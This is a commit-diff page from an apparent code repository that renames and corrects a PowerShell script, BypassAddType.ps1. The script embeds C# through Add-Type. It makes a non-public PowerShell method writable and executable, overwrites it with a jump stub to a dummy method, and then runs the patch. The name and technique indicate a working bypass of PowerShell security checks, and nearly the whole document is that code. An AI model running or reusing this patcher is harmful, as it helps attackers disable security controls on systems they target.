Spaces:
Runtime error
Runtime error
Rename test/BypassAddTypeO.ps1 to test/BypassAddType.ps1
Browse files
test/{BypassAddTypeO.ps1 → BypassAddType.ps1}
RENAMED
@@ -1,4 +1,4 @@
|
|
1 |
-
$
|
2 |
using System;
|
3 |
using System.ComponentModel;
|
4 |
using System.Management.Automation;
|
@@ -10,7 +10,7 @@ using System.Text;
|
|
10 |
namespace Editor {
|
11 |
public static class Methods {
|
12 |
public static void Patch() {
|
13 |
-
MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | Static);
|
14 |
MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
|
15 |
Methods.Patch(original, replacement);
|
16 |
}
|
@@ -32,7 +32,7 @@ namespace Editor {
|
|
32 |
//Generate architecture specific shellcode
|
33 |
byte[] patch = null;
|
34 |
if (IntPtr.Size == 8) {
|
35 |
-
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
|
36 |
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
|
37 |
for (int i = 0; i < address.Length; i++) {
|
38 |
patch[i + 2] = address[i];
|
@@ -46,7 +46,7 @@ namespace Editor {
|
|
46 |
}
|
47 |
|
48 |
//Temporarily change permissions to RWE
|
49 |
-
uint oldprotect
|
50 |
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
|
51 |
throw new Win32Exception();
|
52 |
}
|
@@ -57,6 +57,11 @@ namespace Editor {
|
|
57 |
throw new Win32Exception();
|
58 |
}
|
59 |
|
|
|
|
|
|
|
|
|
|
|
60 |
//Restore the original memory protection settings
|
61 |
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
|
62 |
throw new Win32Exception();
|
@@ -89,5 +94,5 @@ namespace Editor {
|
|
89 |
}
|
90 |
}
|
91 |
"@
|
92 |
-
|
93 |
-
|
|
|
1 |
+
$code = @"
|
2 |
using System;
|
3 |
using System.ComponentModel;
|
4 |
using System.Management.Automation;
|
|
|
10 |
namespace Editor {
|
11 |
public static class Methods {
|
12 |
public static void Patch() {
|
13 |
+
MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
|
14 |
MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
|
15 |
Methods.Patch(original, replacement);
|
16 |
}
|
|
|
32 |
//Generate architecture specific shellcode
|
33 |
byte[] patch = null;
|
34 |
if (IntPtr.Size == 8) {
|
35 |
+
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
|
36 |
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
|
37 |
for (int i = 0; i < address.Length; i++) {
|
38 |
patch[i + 2] = address[i];
|
|
|
46 |
}
|
47 |
|
48 |
//Temporarily change permissions to RWE
|
49 |
+
uint oldprotect;
|
50 |
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
|
51 |
throw new Win32Exception();
|
52 |
}
|
|
|
57 |
throw new Win32Exception();
|
58 |
}
|
59 |
|
60 |
+
//Flush insutruction cache to make sure our new code executes
|
61 |
+
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
|
62 |
+
throw new Win32Exception();
|
63 |
+
}
|
64 |
+
|
65 |
//Restore the original memory protection settings
|
66 |
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
|
67 |
throw new Win32Exception();
|
|
|
94 |
}
|
95 |
}
|
96 |
"@
|
97 |
+
Add-Type $code
|
98 |
+
[Editor.Methods]::Patch()
|